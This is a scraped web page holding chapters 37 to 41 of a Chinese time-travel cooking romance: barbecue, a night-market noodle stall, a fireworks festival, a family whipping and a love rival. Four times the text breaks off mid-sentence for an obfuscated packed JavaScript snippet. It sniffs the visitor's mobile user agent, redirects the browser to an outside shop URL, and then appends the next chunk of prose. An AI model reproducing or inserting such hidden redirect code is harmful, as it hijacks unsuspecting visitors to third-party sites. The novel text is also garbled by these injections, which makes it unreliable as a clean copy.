;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665675|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬头看她。 秦见君心里在打鼓,母单这么久,恋爱小说、电影、动漫都看过很多,但要来真的,她还是零经验...... 谁来教教她怎么钓男人...... 一片静默中,裴眠动了,他抬起腿往前挪了一步,为了保持平衡,不得不张开双手,虚撑在空中,姿势很怪异,但秦见君的目光极认真,不带一点嘲讽。 裴眠又挪了一步,是真的“挪”,因为他的脚并未离开地面太远,落下时鞋底摩擦地面,发出声响。 近了,几乎是伸手就能碰到的距离,秦见君不敢松懈,仍然紧张地看着裴眠,怕他摔倒。 裴眠又一次抬起脚,挪动了一步,可这次并不顺利,地面上有一块石子凸起,抵在鞋头,挡住了他本该前挪的脚步,身体瞬间失去平衡往前栽倒...... “啊!”秦见君惊呼一声。 无论多瘦,但毕竟裴眠身高摆在那儿,秦见君不可避免被他压倒在地上,屁股和背都摔得有点疼,裴眠身上皮包骨,砸下来像钢板砸身上,她觉得胸也被撞得很疼...... “嘶......”秦见君还没来得及龇牙,裴眠便撑起身子,居高临下地看着秦见君,急切地问:“这样......算是走到你面前了吗?” 这姿势有些不妙,虽然在现代时工作很忙,但网络发达,碎片化信息挤满了闲暇空隙,她看过的“杂七杂八”的东西可不算少......毕竟看着还挺解压的...... 被裴眠压着,秦见君的脑海中控制不住地浮现出许多少儿不宜的画面,瞬间脸颊绯红,抬手挡在面前道:“算......你快起来......” 得到了想要的答复,裴眠有些高兴地勾了勾唇,而后才反应过来两人的姿势有多奇怪。 他连忙撑着手要起来,但身子无力,差点又要压到秦见君身上去,他堪堪稳住身形,这下也不想着爬起来了,只用力翻了个身,从秦见君身上离开,坐在一旁地上。 秦见君一个猛子坐起来,假装不在意似的拍了拍自己手肘上的灰,结巴道:“先、先说好,不能是、是什么杀人放火的事......” 她脑子里还在回味裴眠方才的脸,他努力抬腿费了很多劲,脸颊上泛着薄红,焦急询问时还蹙着眉,看着......看着真的......很爽...... 秦见君捻了捻手指——韩老爷子说得没错,长得帅的男人都有毒!裴眠是剧毒! “郎君,秦小娘?你们坐地上干嘛?”裴小之伸手扶起二人,这才发现裴眠的掌心在流血,于是他又慌慌张张去请齐冬青。 池塘边又只剩下两人。 秦见君舔了舔嘴唇,不知道该说什么。 裴眠忽然“嗯”了一声。 秦见君转头看过去,裴眠脸上的薄红还未消退,但神色极其认真,她这才反应过来,他在回自己上一句话。 她收回视线,微微点了点头,继而盯着自己的足尖不动了。 她脑子里乱糟糟的,见到裴眠后脑子就容易乱,先前想着两人道不同不相为谋,此刻又觉得,要是能一直跟他一起看荷花就好了...... 38.第 38 章 沈婉甫一进沈府便觉察到不对,女使莺儿皱着脸迎上来,轻声道:“小姐,老爷请您去祠堂。” 沈婉心下一紧——看来是事情败露了...... 祠堂里灯火通明,沈叠山执长鞭负手而立,背对着门。 “爷爷。”沈婉进了门,正欲跪下,便听沈叠山开口了。 “将蒲团撤了。” 下人上前将沈婉面前的蒲团撤了,她便低着头跪在了地板上。 待下人们都退出去了,沈叠山才转身看沈婉。 他年过花甲,头发花白,气色却极好,面颊红润饱满,一双鹰眼锐利有神,唇上胡须修剪整齐,不怒自威。 “你当着列祖列宗的面,说说你都做了些什么。” 沈婉低着头,并不说话。 “合着平日里的温柔可人都是装的?沈婉!你抬起头看着我!”沈叠山陡然拔高声音,吓得沈婉颤巍巍仰起脸,眸子里盈满了泪水,却倔强地睁大眼不让它们落下。 沈叠山胸口起伏,似是被气得不轻,他用鞭子指着沈婉道:“你可知你在做什么?你这是要毁了自己名声!裴眠哪点比不上赵浅聿?你要如此推拒!” 沈婉忍不住眨了一下眼,豆大的泪珠顺着睫毛滚落,在脸颊上轻碰一下便落入罗裙中不见了。 “赵大人又有哪里比不上裴大人?”沈婉问,“儿时我问爷爷,我要嫁与何人?您分明说凭我心意决定,怎么如今又变了卦?” 沈叠山气得重重叹了口气,道:“赵浅聿是何人?赵广涵的儿子!他赵广涵如今势大权重,不遗余力地将爪牙安插入朝堂之中,这样的氏族,其内部纷争只多不少,赵广涵膝下十余个儿子,内宅斗得你死我亡,你让我怎么放心你嫁去这种人家?” “赵大人他已经自立门户了。”沈婉道,当初赵广涵自请出虔渊州,人人都道他放着亲爹的官福不享,非要去过岭州吃苦,但沈婉知道,他正是受不了那样的氏族,才以退为进,自请为官的。 “自立门户?那是赵广涵无暇顾及,赵家连女儿都入朝为官,他能放过赵浅聿?”沈叠山嗤了一声。 沈婉重新低下头,又不说话了,既然沈叠山一口咬定赵浅聿会回虔渊州,那即便她有无数个赵浅聿不会走的证据,也只能是“狡辩”。 沈叠山见沈婉跪得笔直,单薄的身影像一根破土而出的嫩竹,颇有“咬定青山不放松”的架势,气得头脑发胀。 “且不说你与赵浅聿的事,你去裴府撒泼这事我还没找你算账。”他咬着牙道,“你平日里最是知书达理的,怎么出此下策?” “我说不嫁,您又不听我的......”沈婉小声道,“我能怎么办?” “还犟嘴?”沈叠山扬了扬手中的鞭子,气极了。 沈婉听着沈叠山急促的呼吸,生怕给他气坏了,便道:“您用家法打我吧,我错了。” 沈叠山握紧了鞭子来回走了两圈,点头道:“你做错了事,这三鞭子躲不过,你且受着。” 沈婉绷紧了后背,道:“请爷爷责罚。” 沈叠山的胡子动了动,抬手扬起鞭子抽了下去。 这夜沈府祠堂灯火未眠,直至天亮。 窗外晨光微熹,秦见君坐起身打了个呵欠,如往常一样起床洗漱、打八段锦,而后去了厨房。 昨日知晓府中有冰库后,秦见君便连夜包了许多饺子——先前怕留不住,不敢包太多,早说府中有冰库的话,她便不会有那么多忌讳了。 去冰库取了饺子,秦见君起锅烧火,锅底少油,将饺子平整摆放进去,煎至底部金黄发脆,再倒入少量清水,盖上锅盖闷煮。 刚盖上锅盖,秦见君一抬头便看见裴眠过来了,他还是坐在轮椅上。 “你手怎么样了?”秦见君趴在窗边问。 裴眠抬起包扎好的双手给她看,道:“无妨。” 昨夜齐冬青来看过,说是擦伤,清理伤口后上药,包扎妥帖便没事了。 秦见君还是有些担心,寻常人摔一下或许没什么,但裴眠看着太瘦弱了,需得时时注意才行。 “影响写字吗?”秦见君又问。 裴眠摇了摇头。 “那就好。”秦见君转身揭开锅盖,锅中水已经煮干了,她敲了几个鸡蛋下去,黄澄澄的蛋液凝固成型,像一轮金黄的太阳,托在饺子下面。 秦见君往锅里撒上芝麻与葱花,抱蛋煎饺便可以出锅了。 “要醋吗?”秦见君将煎饺摆到裴眠面前。 “不用。”裴眠拿起筷子去夹煎饺,费了点力气才将煎饺分离下来。 薄薄的煎饺底十分酥脆,周边黏着的蛋皮口感偏湿,与干脆的煎饺底相衬,一焦一润,层次丰富。 饺子里头的猪肉白菜馅料喷鲜,混着有韧劲的饺子皮在口中咀嚼,鼻腔便涌上来一股芝麻与葱香。 裴眠细细嚼着,腮帮子一鼓一鼓的,秦见君看得眼睛都弯了起来。 用过早饭,裴眠便带着袁原去灌水河对岸看烟火燃放位置,秦见君留在府中带着裴小之一起削竹签。 裴小之拿着砂纸一边磋竹签一边问:“秦小娘,烧烤是什么啊?” 秦见君笑着道:“下午你就知道了,待会儿烧烤炉来了,我做给你们吃。” 听到有吃的,裴小之便不觉得磋竹签辛苦了,他乐呵呵地低头继续磋。 午饭后烧烤炉送至裴府,秦见君仔细检查了一遍,发现这铁匠手艺极好,边角细节都做得极到位。 她铺了一层纸在底下,又淋了油,引燃了火,这才将木炭放上去烧。 将腌制好的羊肉串在竹签上,又串了些没腌制过的羊肉,刚好木炭表层已经烧成灰白色,她便将肉串放了上去。 烧烤炉尺寸是提前算好的,竹签放上去正好架住,此时无风,秦见君便没拿扇子。 “就这么烤着?”裴小之问,“会不会糊啊?” 秦见君指着羊肉串的底面道:“看这儿,这儿开始滴油了,就要给它翻面,没滴油前不会糊的。” 于是裴小之扎着马步弯下腰去看,不一会儿,羊肉真的开始往下滴油,滋啦声此起彼伏。 秦见君握着竹签抬手一翻,羊肉串便稳稳当当又躺在了架子上。 冒油的这面已经有些微黄,上面有许多小泡,被炭火炙烤着,不住胀破又鼓起。 待撒过几次料、翻过几次面后,羊肉串颜色变深,裹着胡椒等香料散发出诱人气味。 裴小之迫不及待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13672871|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地拿起一串,噘着嘴去吹。 “很烫,多吹会儿。”秦见君一边叮嘱他,一边拿了一串给裴眠。 裴眠并没有伸手接,而是抬眼看着秦见君问:“不用取下来?” 秦见君忽然想起来,裴眠是个没撸过串的大荆人,她勾了勾嘴角道:“羊肉串就是要拿着串吃的。”说着,她伸出手将肉串递到裴眠面前,近得他差点变成斗鸡眼。 裴眠接过羊肉串,顿时像是被封印住了似的,他如临大敌般盯着羊肉串,不知该从哪里下口。 一旁的裴小之直接将竹签一头放入嘴里,顺利咬到顶端的一点肉。 裹满香料的羊肉几乎没有膻味,肉质极嫩,一口咬下去还有汁水溢出来,不多,但鲜香极了,吃得裴小之眼睛都瞪大了,举着竹签又想往嘴里塞,吓得秦见君连忙按住他。 她将签子横过来,示意裴小之咬住羊肉,然后将签子抽出——撸串的全过程就完成了。 裴小之像是打开了新世界的大门,一下一下吃得无比欢实。 裴眠看着自己手中的肉串,也学着裴小之的样子横过来,然后咬住羊肉,一抽。 想象中的羊膻味并未袭来,反而是肉香与香料混合的味道引得他不断分泌口水,恰到好处的咸味吊出鲜味,瘦肉嫩、肥肉焦,两者相交,口感丰富。 “秦娘子,这羊肉串好吃,吃了还想吃,定能大卖!”裴小之称赞道,说着,他又转头看向裴眠,问,“郎君,我明日可以同秦小娘一起去吗?”他想在旁边蹭吃。 裴眠看向秦见君,用眼神询问她是否方便。 秦见君高兴道:“你能来最好了,我也是第一次出摊,怕忙不过来。” 裴小之得到了想要的答复,便美滋滋地继续啃羊肉串了。 秦见君等裴眠吃完了一串,她便递上第二串,顺便假装不经意地问:“那你呢?” “嗯?”裴眠嘴里咬着羊肉,从鼻腔里发出一声疑问。 “你明天......来吗?”秦见君刚问出口就后悔了,烧烤摊的氛围其实不算好,若是风向不对,便会烟雾缭绕,呛人的很,而且她选摊位太晚了,只好选了袁分旁边的位置,两人都在狭窄的巷子里。 裴眠咽下羊肉,开口道:“我明日有事。” 意料之中的答案,秦见君嘴上说着没关系,但心里还是有些失落。 裴眠垂下眸子,不去看她蔫蔫的样子,怕自己心软。 花了不少时间收拾烧烤炉,待秦见君闲下来的时候,已经到了吃晚饭的时间,想着与赵浅聿还有约,她忙炒了几个快手菜,吃完便出了门。 此时天还未黑,但平雅街已是十分热闹了,比平日热闹了好几倍。 秦见君一路走过来,看见几乎每隔几条巷子,便能看见有官兵在值守,百姓们都尽量绕着官兵们走,倒也相安无事。 越往南边走,官兵便越来越多,百姓也越来越多,老远便能看见那边人头攒动。 今日裴眠没有戴帷帽,身边响起不少议论声,秦见君凝神听着,大多是赞美他的相貌,她忍不住低头看过去。 裴眠黑发束起,露出白皙的脖颈,下颌线清晰,鼻梁高挺,眉眼漂亮,比自己初见他时好上不少,当得起百姓称赞。 39.第 39 章 裴眠对百姓们的议论视若无睹,一旁的裴小之也一副早已习惯的模样,看得秦见君忍不住小声问:“之管家,百姓们这样议论裴大人,没事吧?” 裴小之有些疑惑,反问道:“能有什么事?我们家郎君长得好,出门被议论是常事。”说着,他看秦见君垂眸去瞥自家郎君,于是又凑近了些道,“这也就是郎君瘦了,先前在虔渊州时,走在街上还会有胆大的小娘子问他婚配否。” 秦见君挑眉:“小娘子这么大胆的?” 裴小之点头,脸上带着自豪道:“郎君长得好,又才名在外,总会有胆大的小娘子抛出橄榄枝的。” 秦见君点点头,裴小之说得对,她扭头看着裴眠——现在已经很好看了,那之前呢?没瘦之前呢? 裴眠似有所觉,忽然转过头来,秦见君忙移开目光,指着前面道:“赵大人在那儿!” 赵浅聿正在珍馐楼对面等着,身边百姓拥挤吵嚷,却并不能影响他,他身着白衣站着,似山涧青松,清爽坚韧。 “赵浅聿。” 听到裴眠的声音,赵浅聿转过头来。 “沈小姐呢?”他问。 裴眠正要说不知道,便看见远远跑来一位女使——是沈婉的近身女使,名叫......莺儿?先前去沈府时便是她给送的画像。 莺儿急急跑过来,弯着腰使劲吸了两口才喘匀气,开口道:“小姐她......她忽感风寒,不能赴约,还请赵大人、裴大人见谅......”虽喊的是两位大人,但她的目光却只望着赵浅聿。 “无妨,这烟火大会要开两个月,烦请告知你家小姐,待过几日她身子好了,再一同游玩也不迟。”赵浅聿道。 那女使睁大眼,有些欣喜的样子,点点头又风风火火转身跑走了。 裴眠收回视线,正要让袁原推他去平雅街南,却被赵浅聿伸手拦住了。 “等等,还有人没到。” “谁?” “故人。”赵浅聿冲裴眠挤眉弄眼,卖关子不肯说。 裴眠略一思索,心中便有了答案,只是不明说,陪着赵浅聿演。 左右等人无事,秦见君便抬头打量对面的珍馐楼。 当真是绵州第一酒楼,财大气粗,在一楼便能透过窗户看见每桌下面都放着冰盆,客人们闲坐谈笑,只有爱闹的孩童脑门上出了汗,想来在里面吃饭应该同开了空调一样舒适...... “馋了?” 听到裴眠的声音,秦见君从羡慕中回神,转头道:“只是觉得珍馐楼财大气粗,冰盆像不要钱一样到处都摆。” 裴眠顺着她的目光看进去,道:“府中也有这么多冰。” 秦见君点头,她知道的,她忽然反应过来,自己方才的话就像是在抱怨裴眠不给她用冰一样。 “我知道府中有冰,也知道我那厨房若是摆满了冰就不好走,并不是在抱怨......” 裴眠笑了笑道:“我知道,只是想告知你,酒楼人来人往,伙计们也都各忙各的,都极少长时间接触冰盆,自然不容易着凉,但府中人少,若是你夜里贪凉要摆冰盆,可是很容易着凉的。” 秦见君挑起眉道:“我可从未想过在屋子里摆冰盆,你别血口喷人......” “久等了!” 秦见君话音未落,身后突然传来一道爽朗的女声。 她转头,视线追随那出声的女子转至裴眠面前。 那女子身量高,着装不似寻常小娘,倒是更像男子,发髻也如男子般束起,并不用簪子挽着,眉眼深邃,鼻梁高挺,薄唇含笑。 她弯腰,将两只手撑在裴眠的轮椅扶手上,倾身去看他,道:“许久不见,你气色好多了!” 她的脸几乎要贴上裴眠,但裴眠躲也不躲。 秦见君忍不住在心里猜测两人的关系。 “他有小厨娘养着,气色可不止好了一星半点。”赵浅聿在一旁插话。 赵浅浅这才站直身子,抬头去看秦见君。 秦见君一与她对上视线,便觉得心里有些不舒服,或许是女人之间的直觉,她觉得对方似乎也不是很满意自己。 “这位是赵浅浅,赵大人,赵浅聿大人的妹妹,现任德北路转运使。”裴小之在一旁轻声介绍。 “赵大人。”秦见君微微弯腰,算是鞠躬了。 “秦见君。”赵浅浅的目光上下打量着眼前的厨娘,随口道,“你是叫这个名字吧?” “是。” “这些日子多谢你照顾裴眠了。” 秦见君忍不住蹙眉——来了,唇枪舌剑。 什么叫“这些日子多谢你”?说得好像裴眠是她的什么人似的...... “拿钱办事,幸得赏识。”秦见君微笑着道。 这话听得裴眠转头去看她,秦见君脸上是得体的笑,看着心情挺好,并无不妥。 “你少没大没小,裴眠与我同岁,都是你的兄长,怎么也要喊一声哥。”赵浅聿教育道。 赵浅浅却并不理会他,径直走到裴眠身后,从袁原手中接过轮椅,低头问了裴眠一句:“你现在身子好了,应该经得住折腾吧?” “嗯?”裴眠还没来得及疑惑,便觉得身下的轮椅以极快的速度冲向人群,每次都在快要撞上百姓时堪堪转弯,他的心瞬间提到了嗓子眼。 “赵浅浅!”赵浅聿吓得拔腿追了上去,秦见君、裴小之与袁原也快速跟上,一行人就这么一路跑向平雅街南。 南边已经是人山人海,再无法推着轮椅狂奔,赵浅浅这才放缓了步子。 坐在轮椅上的裴眠松开紧握着扶手的手,感觉手臂都有些僵硬了。 秦见君从后面追过来,看裴眠额头冒汗,便伸手问裴眠要帕子。 她自己没有随身带帕子的习惯,但裴眠有。 裴眠掏出手帕递给秦见君,下一秒秦见君就将手帕压在了他脑门上。 裴眠的头被一下一下压得微微后仰又回正,表情有些怔愣,好几下后秦见君才停手,又将帕子扔回给裴眠,然后头也不回地走开了。 赵浅浅见状,抬头看着秦见君走远的方向,便也松开轮椅,追着她去了。 裴眠被遗弃在原地,腿上还摊着一块满是汗渍的帕子,周围百姓路过时都窃窃私语,他听出来,这次不是夸他好看,而是在看他热闹...... “郎君......”裴小之拨开人群匆匆赶过来,便看见裴眠低着头坐在轮椅上,旁边都是来看烟火大会的百姓,围得他动弹不得。 好不容易摆脱了围观人群,裴眠这才抬起头来,四处张望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13683299|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “郎君在找秦小娘?”裴小之弯腰问,街上人太多,声音嘈杂,他必须弯腰才能让裴眠听见他说话。 “嗯。”裴眠有些担忧,方才秦见君给他擦汗时,面色不虞,平日里微微上翘的嘴角也被绷得平直,任谁看都知道她不开心了。 “许是在摊位前,今日袁分要出摊的。”裴小之道。 “去看看。”裴眠暗道自己急糊涂了,袁分的凉皮是秦见君教的,她今夜肯定会去看看卖得如何。 秦见君确实是去找袁分了。 方才追在裴眠与赵浅浅后面,一路上她便从裴小之那里得知,赵浅聿的爹赵广涵位高权重,家中除正妻外还有八个小娘,膝下育有十五子、一女,赵浅浅便是那唯一的女儿。 赵浅聿在家中排行第九,赵浅浅排行第十,两人只差一岁,于是上私塾也是一同上的。 虔渊州有许多大户人家会自己请先生办私塾,赵府孩子众多,年龄又参差不齐,无法一同蒙学,便分别送往各家私塾学课。 那时裴礼卿还在朝中做纯臣,赵广涵知晓他不偏向任意势力,于是放心地将与裴眠年纪相仿的赵浅聿与赵浅浅一同送去裴府上课。 所以裴眠与赵浅浅,是青梅竹马...... 听到这儿,她忍不住瞥了一眼旁边跟着的袁原,袁原身手好,若是有心想拦,定是能拦住的,但他却也跟在自己后面慢悠悠追......说不准是裴眠老早就叮嘱过他...... 但她还是担心裴眠在轮椅上不便行动,于是提速追了上去。 待看见裴眠吓得一头汗,还不斥责赵浅浅时,秦见君忽然心中涌起一股气来,她冷着脸替他擦了汗,转头便走——跟你的青梅好好叙旧吧! 她快步转进巷子中,在靠里的位置找到了袁分。 袁分的推车与自己的是一起订做的,十分实用,面上能摆许多东西,里面是掏空了的柜子,也能放不少东西。 秦见君走近了才发现,袁分像块木头似的站在推车后头,面对来来往往的人群,只用黑白分明的眸子盯着别人——难怪摊位前冷冷清清! 她上前与袁分打招呼。 袁分已经站了快一个时辰了,一碗凉皮都没卖出去,这会儿看秦见君过来,他忽然觉得有点羞愧,于是梗着脖子应了一声,便僵在原地不动了。 秦见君走到推车旁看了看,调料与凉皮都摆好了,碗沿都擦得干干净净的,凉皮又薄又透,看得出袁分下了功夫,摊位前也挂着牌子,写着凉皮不能放过夜的提醒,她暗自点了点头,正要说什么,刚张嘴又被打断了。 “兄弟,你这样可卖不出去东西!” 赵浅浅爽朗的声音从身后传来,秦见君面对着袁分,脸上挂着微笑,心里却翻了一个巨大的白眼——真是阴魂不散啊...... “你得喊啊!”赵浅浅抱着手臂站在一旁,一副站着说话不腰疼的样子。 秦见君看着她,忽然变换了表情,蹙眉担忧道:“赵大人说得对啊,要喊......可是要怎么喊呢?我们也不会呀......” 于是裴眠赶到巷子时,便看见赵浅浅在摊位边喊着“凉皮!清爽鲜香的凉皮!”,摊位前排着队,袁分低头做着凉皮,秦见君倒是抱着手在一旁同客人说话谈天...... 40.第 40 章 “这凉皮口味可真好啊!” “娘!我也想吃!” “再来一碗凉皮,多放醋啊!” 袁分点头,忙得头都抬不起来,还是裴小之在一旁帮忙收钱。 “要两份凉皮,明早还能吃呢呵呵......” 秦见君抬头去看,那是一位大伯,肤色黝黑,眼角褶皱深深,看着极朴实,她上前指着推车前的牌子道:“大伯,这放着告示呢,凉皮不能放过夜,会坏肚子的。” “啊?我娘还在来绵州的路上呢,那岂不是吃不上了?” 秦见君转头对那说话的中年男人道:“烟火大会要办两个月呢,这摊子每晚都在的!” “那好、那好哈哈......” 凉皮摊子前的客人络绎不绝,原本属于秦见君的摊位也因为排队站满了人,她忽然觉得自己有些失算——这巷子看着确实有些小。 她被人群挤得往旁边挪了又挪,不小心踢到了隔壁摊子的灯笼。 “抱歉抱歉......”秦见君转身弯腰将那兔子灯笼摆正,不住对摊主道歉。 摊主是个年轻男人,瘦巴巴的,脸上也没肉,下巴上还有没刮干净的胡茬,看着有些邋遢,但衣裳却又洗得发白,补丁也整整齐齐。 他冲秦见君笑笑道:“没事,你们摊子热闹,带着这条巷子人都多了起来,我已经卖出去好几个灯笼了,还要多谢你们呢。” 于是秦见君也笑了,蹲下身去看摊子上的灯笼,发现他的灯笼不仅造型漂亮,连上头的画也栩栩如生,她拎起一只画着荷花的灯笼问:“这灯笼怎么卖?” 摊主摆摆手道:“送你了。” 秦见君知道,他这是想谢凉皮摊帮他带来了客人,但出来摆摊的本就都是小本生意,每一个灯笼制作都不容易,她不肯收,执意要问价钱。 “收您三文,您可别说出去......”摊主小声道,“可别被刘老板听了去......” 秦见君付了钱,蹲在摊主身边问:“刘老板是谁?” 摊主瞪大了眼,一副“这你都不知道”的模样,小声道:“南街的刘与叶刘老板啊,你出来做生意,不认识南刘北沈?” 秦见君眨了眨眼,摇头,诚心发问:“南刘北沈是什么说法?” “啊呀......你不知道的啊?那你这摊子可做不长久,我同你说......” 男人话还未说完,摊前忽然来了客人询问灯笼,他只好转过身介绍灯笼,待客人走了,他才又转身同秦见君说话。 “所谓南刘北沈,说的就是平雅街南的刘与叶老板,还有平雅街北的沈勤忠老板......啊?诶!这兔子灯漂亮轻巧,买给孩子玩最好,只要七文钱......好嘞,收您七文,兔子灯拿好......我方才说到哪儿了?哦对,沈勤忠老板......” “听闻这沈老板原先是观宏州人,先前似乎......”他将声音压得极低,秦见君将头凑过去才能听清,“似乎做过土匪!块头大、身上的刀疤可多了!山匪做不下去,这才带着弟兄们下山来了绵州做生意......” “那刘老板又是什么来头?”秦见君侧头问。 “刘老板是虔渊州来的,背后有大人物撑腰,可我们小人物哪里认得?只知道惹不起罢了......”他撇了撇嘴。 “这两位老板为什么有这样大的名声?”秦见君好奇。 摊主扭了扭身子,索性转向秦见君,伸出手来比划道:“我们绵州被平雅街一分为二,而平雅街又被珍馐楼分为南北两边,南边的铺子大多是刘老板的,租铺子做生意的难免要看刘老板脸色......” “可这刘老板性子又不好,若是下面人卖的东西价钱比他的低、品相比他的好,便会受他打压......所以有些受不住的老板就去了平雅街北,那时候北边人还很少,荒凉得很,总有游手好闲之人闹事,后来沈老板来了,北边才太平下来,沈老板心善、为人仗义,只是不如刘老板有钱......” 秦见君认真听着,忽然被拍了一下肩,她转头——是裴眠。 他脸色看起来有些差,眉头微蹙着,嘴也抿着。 秦见君以为他受不了这么多人挤在一起,忙同那摊主道别,起身推着裴眠往外走。 一直到了桥上,人才少了些,这桥原先是划来出租给有钱人家的,只不过生意惨淡,并没有什么人来租用,也正好让秦见君钻了个空子,带着裴眠找到了极好的烟火观赏地。 “怎么样?好些了吗?”秦见君蹲在轮椅前问裴眠。 裴眠才不是因为受不了拥挤,他只是在巷子角落里等了许久都没看到秦见君回来,找过去才发现她正与一个年轻的摊主聊得正欢,一时心里有些不舒服罢了...... “好多了。”裴眠垂眼看着秦见君,她不知道也好,她一心想着攒钱开酒楼,先前还因为不想嫁人而从家里逃出来,万一自己表露心迹,将她吓到,跑得更快了怎么办? 秦见君放下心来,将自己买来的荷花灯笼放在轮椅边,转头去看灌水河,河面被岸上灯火映照得波光粼粼,岸边泊着雕窗画舷的花船,夜里有阵阵微风吹过,河面被吹皱,花船流苏轻晃...... “真美啊......”陌生的女声响起。 秦见君手撑在桥边没转头,只默默听着另一座桥上的小娘说话。 “烟火何时放?我等得有些饿了......”小娘娇俏埋怨的声音响起。 接着便传来年轻男人的声音:“饿了吗?我去给你买些吃食,你等我......” “诶!别去了,我看见对岸有人影,要放烟火了,看完再去吧。” 下一刻,一声尖细的响声划破夜空,随即一朵烟火在空中炸开,巨大的声响震住了岸边的百姓们,所有人都停下手头的事,转头去看河上烟火。 斑斓的烟火一朵朵炸开,耳边都是百姓们的惊讶与欢呼声,秦见君忍不住勾起嘴角。 夏夜就应当如此,像她在短视频里看过无数次的场景一样,炸开的烟火、拥挤的人群、热闹的叫嚷声...... 恍惚间她又有了一丝孤独感,目光所及之处,人人都在偏头与身旁的人说话,有亲人、朋友、爱人...... 她曾无数次这样旁观他人的幸福,从一开始的羡慕到如今感到寂寞,但好在她似乎有些习惯了,自己没有也没关系,能靠近别人的幸福也算一种参与。 就好似于冰天雪地里靠近火堆,不必投身进去,只需靠近获得一点点温暖即可。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699500|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “秦见君......” 身后隐约响起裴眠的喊声,秦见君转头去看,他的嘴一张一合的,但在欢呼与烟火声中完全听不清,于是她走过去蹲在轮椅边,不想错过烟火,便与裴眠一起面向河上烟火,附耳过去听。 “好看吗?” 她听到他这么问。 秦见君想说好看,又怕裴眠听不见,于是想点头给他看,可是一转头才忽然发觉自己与他靠得这么近。 裴眠正好也转过头来看她,一刹那,两人的距离被拉得极近,秦见君觉得自己往前一凑便能碰到他鼻尖...... 她怔怔地看着他含笑的眸子和眸子中变幻的火光。 面前的小娘表情有些怔愣,圆圆的眼睛又湿又大,鼻尖沁着汗珠,脸颊红扑扑的,肉肉的嘴唇微张,看着娇憨极了,裴眠忍不住往前凑近,闻到她身上无患子的香气,顿觉小腹燥热...... 两人之间的距离越来越近,秦见君的脑子里像是被人塞了一团棉花进去,灌水河中的水浸湿棉花,沉甸甸地坠在那儿,动弹不得。 脑中和眼前似乎都炸开了绚烂的烟火,五彩斑斓、如梦似幻,百姓们都抬头看着不远处的美景,无人在意桥上二人的心跳与暧昧...... 耳边的喧嚣忽然全都消失了,她甚至怀疑是自己耳鸣了,直到耳边传来熟悉的小娘子的声音:“烟火放完啦!真的好美!” 她猛地回过神来,退开身子,却不小心碰到轮椅边的灯笼,吓得失去平衡,一屁股坐在了地上...... 裴眠也从旖旎氛围中惊醒,忍不住咬了咬舌尖,试图让自己冷静些。 “没事吧?”他伸手去拉秦见君。 秦见君可不敢拽他,于是自己撑着地面站了起来,慌忙拍了拍裙摆上的灰,胸口无序起伏,语无伦次道:“没、没事......烟花放完了......夜、夜里挺凉快的......” “好看吗?”裴眠抬头问。 秦见君低头对上他的目光,又迅速挪开,看向桥下的百姓们,点点头道:“好看。” 原想问问她,觉得还有什么需要改进的地方,但见她耳根子都红透了,裴眠又不敢说了,开始反思是不是自己方才的凑近冒犯到她了...... 两人就这么不尴不尬地在桥上一站一坐,殊不知桥下站着的人将这一切都收入眼底。 “说了裴眠有心上人了,你偏不信。”赵浅聿无奈道,其实他一开始只是诓赵浅浅,不想看她吊死在一棵树上罢了,结果碰巧撞到这一幕,倒是坐实了他的话。 赵浅浅盯着桥上二人,面无表情,半晌才问:“哥,心上只能有一人?” 赵浅聿一愣:“嗯?此话何意?” 赵浅浅转头看向赵浅聿,眼底淡淡道:“有心上人又如何?心上只能有一人吗?爹爹娶了娘,不还是带了那么多小娘进门?”她又转回去看桥上二人,声音有些冷,“我不在乎,裴眠要带多少小娘入门我都不在乎......” 赵浅聿蹙眉:“你......” 话音未落,身后传来裴小之的声音:“赵大人,见到我家郎君了吗?” 赵浅聿只好闭嘴,他有些不懂自家妹妹,天底下好郎君那么多,怎么就非要裴眠呢? 41.第 41 章 